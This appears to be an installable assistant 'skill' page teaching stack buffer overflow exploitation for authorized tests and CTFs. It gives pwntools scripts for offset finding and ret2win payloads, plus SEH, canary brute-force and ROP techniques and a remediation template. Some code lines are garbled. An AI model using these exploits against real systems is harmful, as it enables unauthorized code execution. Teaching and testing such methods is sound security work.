Methodology for discovering and exploiting stack-based buffer overflows in native binaries during authorized engagements, covering crash triage, offset discovery with De Bruijn patterns, control of the saved return address, and escalation paths (ret2win, stack shellcode, ROP) depending on which mitigations are present.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Methodology for discovering and exploiting stack-based buffer overflows in native binaries during authorized engagements, covering crash triage, offset discovery with De Bruijn patterns, control of the saved return address, and escalation paths (ret2win, stack shellcode, ROP) depending on which mitigations are present.
During authorized binary exploitation assessments, CTF-style engagements, or vulnerability research where a native
program (ELF/PE) copies attacker-controlled data onto the stack without bounds checking.
When a target uses unsafe functions such as strcpy, strcat, sprintf, gets, or misuses length-taking functions
like fgets, read, memcpy, or sscanf with an unbounded %s.
When a service crashes with a Segmentation Fault after large input, and you need to determine whether the saved
return address (EIP/RIP) is controllable.
As the entry-point methodology that feeds into ret2win, stack shellcode, ret2libc, ret2syscall, and ROP techniques.
Critical: Concepts/Steps Most Often Missed
The raw crash is not the win. A Segmentation Fault from A*1000 only proves memory corruption. You must prove
the saved return address is under your control before claiming RCE-class impact. Crashing inside a canary check is a
DoS-only primitive, not control-flow hijack.
Forgetting the saved EBP/RBP. The offset to the return address includes the buffer size plus the 4 bytes
(x86) / 8 bytes (x64) of saved base pointer. The classic bug is payload = b'A'*64 + ret when the real offset is 72.
Bad bytes / NUL-byte addresses. Non-PIE binaries are often mapped at low addresses (e.g. 0x00008000), so gadget
and function addresses embed 0x00. Functions like strcpy/gets/sscanf %s stop at the first NUL. Enumerate bad
bytes before building the chain, or use delimiter tricks (e.g. colon-delimited sscanf parsing) to place NULs.
Windows SEH path. On 32-bit Windows the overflow may overwrite the SEH chain instead of the saved return address.
Exploitation replaces the SEH handler with a POP POP RET gadget and uses the 4-byte nSEH for a short jump back into
the buffer. Test for this when a straight EIP overwrite does not appear.
Forked-server canary brute force. When a service forks per request (CGI workers), children share the parent
canary/PIE slide, so you can brute-force the canary, saved RBP, and return address one byte at a time using the
response (e.g. HTTP 200 vs 502) as an oracle.
How to CONFIRM
Attach a debugger (gdb + pwndbg/GEF) and send a cyclic De Bruijn pattern. On crash, read the faulting instruction
pointer: if $eip/$rip (or $pc on ARM) contains a recognizable 4/8-byte slice of the pattern (e.g.
0x6161616c = laaa), control-flow hijack is confirmed and pattern search gives the exact offset. A crash where
the IP is intact but a read/write faults is not return-address control — keep investigating (it may be a write-what-where
or SEH case).
Workflow
Step 1: Triage the Crash and Profile the Binary
# What protections are in play? This drives the entire strategy.
pwn checksec ./vuln # or: checksec --file=./vuln# Look for: RELRO, Stack Canary, NX, PIE, RPATH# Reproduce the crash with a large input
python3 -c 'print("A"*1000)' | ./vuln
# A SIGSEGV trying to access 0x41414141 (x86) strongly suggests RIP/EIP control
A binary with No canary, No PIE, NX enabled is the classic ROP target; No canary, No NX, No PIE allows stack
shellcode; an uncalled win() function points to ret2win.
Step 2: Find the Offset to the Return Address
# Generate a unique cyclic pattern
pwn cyclic 200 # or in GEF: pattern create 200
from pwn import *
context.binary = elf = ELF('./vuln')
p = process('./vuln')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
# x64: read the value that landed in RIP/RSP
fault = core.read(core.rsp, 8) # bytes at crash-time RSP
offset = cyclic_find(fault[:8], n=8) # n=8 for 64-bit
log.info("Offset to return address: %d", offset)
In GEF after the crash: pattern search $rsp (or $eip on 32-bit) prints the offset directly.
Step 3: Build the Payload Based on Mitigations
from pwn import *
context.binary = elf = ELF('./vuln')
offset = 72# buffer(64) + saved RBP(8) — confirmed in Step 2# --- ret2win: no PIE, no canary, an uncalled win() exists ---
payload = b'A' * offset
payload += p64(elf.symbols['win'])
# x86-64 movaps/stack-alignment fix: add a bare 'ret' gadget before win() if it crashes in libc
rop = ROP(elf)
payload = b'A'*offset + p64(rop.find_gadget(['ret'])[0]) + p64(elf.symbols['win'])
io = process('./vuln') # or remote('host', port)
io.sendline(payload)
io.interactive()
For NX-enabled targets, this stage instead produces a ROP chain (see the ROP and mitigation-bypass skills). For
NX-disabled + no-ASLR targets, place shellcode in the buffer and overwrite the return address with the stack address of
the shellcode (or use ret2esp/ret2reg under ASLR).
Step 4: Handle Bad Bytes and Re-trigger the Vulnerability
# Enumerate bad bytes the input function chokes on (NUL, \n, etc.)
badchars = b'\x00\x0a\x0d'
gadget = next(g for g in rop_gadgets ifnotany(b in p64(g) for b in badchars))
# Make a single bug reusable: return into main() or the vulnerable function again
payload = b'A'*offset + rop_chain + p64(elf.symbols['main'])
When addresses contain NULs and the copy stops on NUL, exploit delimiter-based parsers (e.g. each : in an sscanf
loop appends a trailing NUL) to plant multiple NUL bytes at chosen offsets.
Key Concepts
Concept
Description
Saved return address
EIP/RIP value stored on the stack; overwriting it redirects control flow when the function returns.
Saved base pointer
EBP/RBP saved on the stack between the buffer and return address; must be accounted for in the offset.
De Bruijn / cyclic pattern
A sequence where every n-length subsequence is unique, used to compute the exact overflow offset from a single crash.
ret2win
Overwriting the return address with the address of an existing, never-called function (common in CTFs).
Stack shellcode
Placing shellcode on the stack and jumping to it; requires executable stack (NX off) or a jump gadget.
Partial overwrite
Overwriting only 1–2 low bytes of the return address to dodge ASLR (last 12 bits are page-aligned, ~1/16 chance per nibble).
SEH overflow
Windows-specific: overwriting the Structured Exception Handler chain instead of the return address.
Canary brute force
Recovering a stack canary byte-by-byte in forked servers that share the parent canary.
Find ret, pop gadgets for stack alignment and chain building.
objdump / radare2 / Ghidra
Locate function addresses (e.g. `objdump -d vuln
one_gadget
Find single-shot execve("/bin/sh") gadgets in libc for ret2libc escalation.
Common Scenarios
Scenario 1: Classic CTF ret2win
A 64-bit non-PIE binary calls gets(buf) on a 64-byte buffer and ships an unused win(). Offset is 72; payload is
b'A'*72 + p64(ret_gadget) + p64(win). The ret gadget fixes 16-byte stack alignment so the movaps in libc-backed
win() does not fault.
An appliance parses /__api__/v1/<endpoint> with sscanf(uri, "%*[^/]/%2s/%s", version, endpoint). The unbounded %s
copies past a 0x800-byte stack buffer, smashing the canary and return address. A 3000-byte path triggers a pre-auth crash;
with an info leak it escalates to code execution.
Scenario 3: Windows SEH overflow to RCE
A 32-bit Windows service overflows past the SEH chain. The exploit sets nSEH to a short jmp, overwrites the SEH handler
with a POP POP RET from a non-SafeSEH module, and lands on a 5-byte near jmp that pivots hundreds of bytes back to the
shellcode.
Scenario 4: Forked-server canary leak
A CGI worker forks per request and shares its canary. Treating the HTTP status as an oracle (200 = byte correct,
502 = crash), the exploit brute-forces the 8-byte canary, a saved stack pointer, and the return address, then builds an
arbitrary-write ROP chain to spawn a shell.
Output Format
## Stack Buffer Overflow Finding
**Vulnerability**: Stack-based buffer overflow (CWE-121)
**Severity**: Critical (control-flow hijack) / High (DoS only if canary blocks)
**Binary**: /usr/src/app/vuln (x86-64, No PIE, No canary, NX enabled)
**Vulnerable Function**: vulnerable_function() -> gets(buf[64])
### Crash & Control Proof
- Input: cyclic(200)
- Crash IP ($rip): 0x6161616c61616161
- Offset to saved return address: 72 (64-byte buffer + 8-byte saved RBP)
- Control: $rip fully controlled (confirmed in gdb/pwndbg)
### Exploitation Path
ret2win — overwrote return address with win() @ 0x401216 (ret-gadget alignment prefix).
Payload: b'A'*72 + p64(0x40101a) + p64(0x401216)
### Impact
Arbitrary code execution as the service account; demonstrated by invoking win()/spawning /bin/sh.
### Recommendation
1. Replace unsafe functions (gets/strcpy/sprintf) with bounded equivalents (fgets/strncpy/snprintf).
2. Compile with -fstack-protector-strong, -D_FORTIFY_SOURCE=2, -fPIE -pie, and full RELRO.
3. Validate all input lengths against destination buffer sizes; never use sscanf "%s" without a width.
4. Enable ASLR and NX/DEP at the OS level.